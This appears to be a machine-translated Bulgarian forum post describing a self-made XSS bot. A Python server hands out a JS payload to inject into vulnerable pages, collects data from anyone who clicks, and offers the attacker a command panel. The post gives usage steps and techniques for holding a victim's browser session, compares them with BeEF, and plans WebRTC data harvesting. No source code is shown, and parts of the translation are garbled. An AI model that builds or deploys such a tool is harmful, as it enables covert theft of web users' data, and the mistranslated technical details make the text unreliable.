За по-прост и удобен начин за стартиране на бота беше решено да напишем собствен малък уеб сървър на сокети, който да обслужва бота, да осигурява всички операции за получаване и публикуване на изпратени данни, да предава съобщения между нападателя и бота, и създайте уеб интерфейс за нападателя за команда.
Сървърът беше написан на Python, опитах се да използвам само стандартни библиотеки, така че да не се налага да инсталирам нищо преди стартиране. Освен това самият сървър редактира някои данни в скриптовете, тоест в JS скрипта на бота няма нужда да задавате адреса на командния сървър, самият уеб сървър ще зададе необходимия там при стартиране. В конфигурацията на сървъра има само един параметър - портът, на който ще стартира (по подразбиране е 8000).
След стартиране сървърът ще предостави всички необходими данни - връзка към JS скрипта, който ще трябва да бъде подхлъзнат, връзка към командния панел или по-скоро връзки към външни и локални адреси, за удобство.

Стартираме сървъра на някакъв непотърсен порт и можете да изпратите връзка със скрипт на бот, след което всеки, който кликне върху него, ще ви изпрати данни, които сървърът ще запази по всяко време на деня. След това можете просто да ги прегледате, ако има нужда да напуснете екипния бот и да продължите да вършите своите неща.

Папката съдържа следните файлове:

• xsb.py - основният файл, който изпълнява сървърната част; за да работи ботът, стартирайте го и след това просто използвайте връзката, която предлага;
• xsb.js - тук се съхранява JS кодът на бота, връзката към който се предоставя от сървъра; в началото му се декларират конфигурационни променливи, които могат да се променят по ваша преценка (някои, а именно хост и порт, сървърът сам ще се настрои по-късно, не е нужно да се притеснявате);
• panel.html - от тук сървърът взема кода за контролния панел на бота, можете да коригирате интерфейса по свое усмотрение;
• password.txt - тук се съхранява паролата за контролния панел, която може да се променя;
• savedData е директорията, в която ще се създават папки с домейни на уебсайтове, в които ще се записва цялата информация.

Пак да отбележа, че във файла xsb.jsможете да добавите свои собствени функции, които след това да извикате през панела, без да пишете огромни части от код;

След като написах моя собствен измислен начин да задържа потребител на страница с XSS чрез рамки (добре, както е измислено - аз лично го открих за себе си, е напълно възможно някой друг да е „изобретил“ същата тази техника за себе си или вече е някъде в обществеността блесна, защото сега е доста трудно да се разработи нещо наистина ново и като правило след известно време откривате, че „това вече беше в Семейство Симпсън“) Започнах да се ровя в BeEF по-подробно и да чета неговото wiki. Тогава открих, че там е внедрена друга техника за постигане на същата цел - удължаване на времето на потребителя на страница с изпълним XSS (което те нарекоха човек в браузъра). И беше реализирано по следния начин: всички връзки на оригиналната страница бяха променени по такъв начин, че когато щракнете върху някоя от тях, скриптът не презарежда страницата, а чрез Ajax изпраща заявка до сървъра и вмъква данните получено в отговора, тоест може да се каже, изкуствено го актуализира, което също беше почти неразличимо от обикновеното освежаване.

Следователно не бях първият, който успя да реализира тази идея (дори методите да се оказаха различни). Но и двата метода имат своите недостатъци:

Методът за зареждане чрез не работи, ако има заглавие в отговора X-Frame-Опции: ОТКАЗВАНЕ, но иначе работи като обикновен прозорец на браузъра;

Методът ajax винаги работи, ако браузърът го поддържа (всички основни браузъри го поддържат сега), но с новия стандарт Web 2.0 все повече и повече преходи се задействат от персонализирани събития на всякакви елементи чрез JS. Един ден отидох в Google AdWords и реших да видя как си взаимодействат HTML и JS там, защото всичките ми паяци бяха изключително зле в създаването на обратната карта на тази услуга. Цяла вечер тихо се ядосвах колко необичайно беше всичко там, когато текстовите елементи бяха бутони, превключватели и плъзгачи и бяха изобразени с всичко останало и всеки имаше около 30 манипулатора за различни събития.

Тоест на сложен сайт бутонът за преход (субективно връзка) ще бъде внедрен чрез обикновен маркер , който е зареден със стилове и към който са прикачени манипулатори на събития, един от които напр. onclick пренасочва потребителя към друга страница. Има и стандартни елементи като [i]или себе си и т.н., които всъщност също са връзки към други страници, но на които BeEF няма да отговори и страницата просто няма да се актуализира, когато щракнете върху повечето бутони и други елементи. Което може да подкани потребителя да опресни страницата или да влезе отново от другата страна, което убива нашата активна XSS сесия.

За краткост в именуването на файловете го нарекох Xss Spy Bot.

P.S.
Писането на цялото това нещо отне малко повече от месец поради периодична липса на време и постоянно разсейване. Също така поради това качеството на кода и вероятността да попаднете на някакъв бъг е доста висока. Затова те моля да не псуваш много, а да напишеш какво му е на някого, за да се поправи.
Аз самият тествах бота само на 4 машини, като всички те работеха с Debian.

Дългосрочни планове за този бот, ако има мотивация:
— реализиране на рендиране на кода на страниците, които ботът изпраща на сървъра, така че да се отваря незабавно в браузъра и да може да бъде „докоснат“ и тестван в движение;
— те ще се опитат да хванат някои екстри от технологията WebRTC, тоест да намерят начини да получат нова информация, която чистият JS не може да извлече;
— осъществяване на комуникация между бота и сървъра чрез протокола WebSocket през HTTP;
— добавете някои удобства към контролния панел;

Последна актуализация от 18 ноември 2016 г.